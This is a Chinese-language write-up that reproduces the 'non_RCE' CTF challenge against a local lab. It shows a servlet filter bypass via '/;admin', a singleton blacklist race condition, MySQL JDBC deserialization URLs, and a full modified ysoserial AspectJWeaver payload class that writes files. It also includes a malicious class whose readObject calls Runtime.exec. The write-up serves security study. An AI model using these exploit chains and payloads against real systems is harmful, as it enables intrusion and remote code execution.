non-rce-ctf复现

搭建环境,https://github.com/Ant-FG-Lab/non_RCE
1

filter绕过

2

访问admin的路由会401,login部分的filter实现如下
3

这里是没有办法绕过的,关注AntiUrlAttackFilter中的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if (url.contains("../") && url.contains("..") && url.contains("//")) {
res.sendError(HttpServletResponse.SC_BAD_REQUEST, "The '.' & '/' is not allowed in the url");
} else if (url.contains("\20")) {
res.sendError(HttpServletResponse.SC_BAD_REQUEST, "The empty value is not allowed in the url.");
} else if (url.contains("\\")) {
res.sendError(HttpServletResponse.SC_BAD_REQUEST, "The '\\' is not allowed in the url.");
} else if (url.contains("./")) {
String filteredUrl = url.replaceAll("./", "");
req.getRequestDispatcher(filteredUrl).forward(servletRequest, servletResponse);
} else if (url.contains(";")) {
String filteredUrl = url.replaceAll(";", "");
req.getRequestDispatcher(filteredUrl).forward(servletRequest, servletResponse);
} else {
filterChain.doFilter(servletRequest, servletResponse);
}

会将;和./替换为空,可以根据这个访问/admin;绕过。官方wp解释主要目的是考察dispatch type,就是流量处理的类型。有FORWARD、INCLUDE、REQUEST、ASYNC、ERROR 5种类型。默认类型为REQUEST,在LoginFilter后添加

1
dispatcherTypes = {DispatcherType.REQUEST, DispatcherType.FORWARD}

请求就不会经过过滤器,就不能进行绕过

4

jdbc反序列化和黑名单检测绕过

攻击入口servlet.AdminServlet#doGet,实现了mysql的连接功能,并且jdbcurl我们可控。但是实现设置了一个黑名单{“%”, “autoDeserialize”},预期解是利用黑名单检测逻辑存在的条件竞争问题。上代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
public class BlackListChecker {
public static BlackListChecker blackListChecker;

public String[] blackList = new String[] {"%", "autoDeserialize"};

public DataMap checkDataMap;

public volatile String toBeChecked;

public BlackListChecker() {
List<String> jdbcBlackList = new ArrayList<>();
jdbcBlackList.add(blackList[0]);
jdbcBlackList.add(blackList[1]);

Map<String, List<String>> checkMap = new HashMap<>();
checkMap.put("jdbc", jdbcBlackList);

this.checkDataMap = new DataMap(checkMap);
}

public void setToBeChecked(String s) {
this.toBeChecked = s;
}
//单例blackListChecker对象
public static BlackListChecker getBlackListChecker() {
if (blackListChecker == null){
blackListChecker = new BlackListChecker();
}
return blackListChecker;
}
//黑名单检测流程
public static boolean check(String s) {
BlackListChecker blackListChecker = getBlackListChecker();
blackListChecker.setToBeChecked(s);
return blackListChecker.doCheck();
}
//黑名单检测
public boolean doCheck() {
for (String s : blackList) {
if (toBeChecked.contains(s)) {
return false;
}
}
return true;
}

生成单例blackListChecker对象,考察的是单例模式下条件竞争的问题。通过条件竞争来绕过黑名单检测机制,后续我把黑名单注释掉了,省了条件竞争的步骤。

mysql jdbc反序列化

之前没有接触过,就复现一下。

复现环境commons-collections-3.2.1+jdk8u21+mysql-connector-java-8.0.13

1
2
3
4
5
6
7
8
9
10
11
import java.net.ConnectException;
import java.sql.*;


public class Test {
public static void main(String[] args) throws Exception{
Class.forName("com.mysql.cj.jdbc.Driver");
String jdbc_url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections5_calc";
Connection con = DriverManager.getConnection(jdbc_url);
}
}

5

https://github.com/fnmsd/MySQL_Fake_Server

生成恶意mysql服务端,运行测试文件,四次弹出计算器。(需要配置config.json中的yso命令参数)

漏洞分析参考安全科的文章以及各个版本连接字符串的总结https://www.anquanke.com/post/id/20308

AspectJWeaver利用链

也是之前没有分析过,现在通过yso工具分析一波,利用版本<=1.9.2。
利用链如下

1
2
3
4
5
6
7
8
9
10
Gadget chain:
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
SimpleCache$StorableCachingMap.put()
SimpleCache$StorableCachingMap.writeToPath()
FileOutputStream.write()

借助cc里的TiedMapEntry和Lazymap类,最后通过调用SimpleCache$StorableCachingMap.put()成功写入文件。

调试一下
HashSet中readObject()方法会调用put方法

6

进入HashMap的put()方法

7

调用hashcode()

8

跟踪到TiedMapEntry的hashcode()方法和getvalue方法

9

this.map可控,最后进入到LazyMap类的get方法

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}

调用put方法,最后调用栈

1
2
3
SimpleCache$StorableCachingMap.put()
SimpleCache$StorableCachingMap.writeToPath()
FileOutputStream.write()

写入文件。

但是这里的环境并没有cc链,需要自己构造,找到可以代替cc的触发方式,也就是出题人写的DataMap类里有相关替代方法。

参考大佬修改的poc。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
package ysoserial.payloads;

import org.apache.commons.codec.binary.Base64;
import org.python.modules.time.Time;
import checker.DataMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;


@PayloadTest(skip="non RCE")
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"org.aspectj:aspectjweaver:1.9.2"})
@Authors({ "sijidou" })

public class Antictf implements ObjectPayload<Serializable> {

public Serializable getObject(final String command) throws Exception {
int sep = command.lastIndexOf(';');
if ( sep < 0 ) {
throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
}
String[] parts = command.split(";");
String filename = parts[0];
byte[] content = Base64.decodeBase64(parts[1]);

Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Object simpleCache = ctor.newInstance(".", 12);

HashMap wrapperMap = new HashMap();
wrapperMap.put(filename,content);
DataMap dataMap = new DataMap(wrapperMap, (Map)simpleCache);
Constructor Entryctor = Reflections.getFirstCtor("checker.DataMap$Entry");
Reflections.setAccessible(Entryctor);
Object entry = Entryctor.newInstance(dataMap, filename);

HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}

Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);

Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}

Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);

Object node = array[0];
if(node == null){
node = array[1];
}

Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}

Reflections.setAccessible(keyField);
keyField.set(node, entry);

return map;

}

public static void main(String[] args) throws Exception {
args = new String[]{"bbb.txt;YWhpaGloaQ=="};
PayloadRunner.run(Antictf.class, args);
}
}

将DataMap类导入yso工具中,将原有链中的中间部分通过DataMap类中代替最后调用put方法,调用链如下

1
2
3
4
5
6
7
8
9
HashSet.readObject()
HashMap.put()
HashMap.hash()
DataMap$Entry.hashcode
DataMap$Entry.getValue()
DataMap.get()
SimpleCache$StorableCachingMap.put()
SimpleCache$StorableCachingMap.writeToPath()
FileOutputStream.write()

10

复现

1.访问127.0.0.1/;admin进行绕过
2.利用mysqljdbc的反序列化漏洞,通过条件竞争绕过黑名单,在本地测试的时候我修改代码了省了这一步。
3.通过apectjweaver的链实现文件上传加载恶意类反序列换反弹shell。

编写poc类,编译成class文件,最后base64一下,将poc,class写入目标服务器。

1
2
3
4
5
6
7
8
9
package servlet; 
import java.io.*;
public class poc implements Serializable {
private void writeObject(ObjectInputStream out) throws IOException, ClassNotFoundException {
out.defaultReadObject();
}
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
Runtime.getRuntime().exec("1.txt"); } }

11

12

上传文件poc.class,再配合jdbc反序列化。发送一个恶意类过去。这时候就会在classpath里找对应的class,触发重写的readobject。执行里面的恶意代码。

http://127.0.0.1:8888/;admin/importData?databaseType=mysql&jdbcUrl=jdbc:mysql://localhost:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=Antictf 成功写入文件

测试时在config.json中加入新的paylaod名称时字典里面掉了一个逗号导致一直报错,耽误不少时间

最后一步可通过两种方式实现RCE

1、反序列化加载恶意类。第一次反序列化的时候写入恶意类,第二次反序列化的时候反序列化该恶意类,可以执行该恶意类的readObject方法。

2、业务中使用class.forName,且类参数可控。比如 jdbc:mysql://x.x.x.x:3307/test?autoDeserialize5=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_URLDNS_http://x.x.x.x statementInterceptors参数传入的就是一个类名,且会被传入forName方法中。

因为系统重装最后把环境整没了,没完整复现完但是挺有意思的学到很多东西。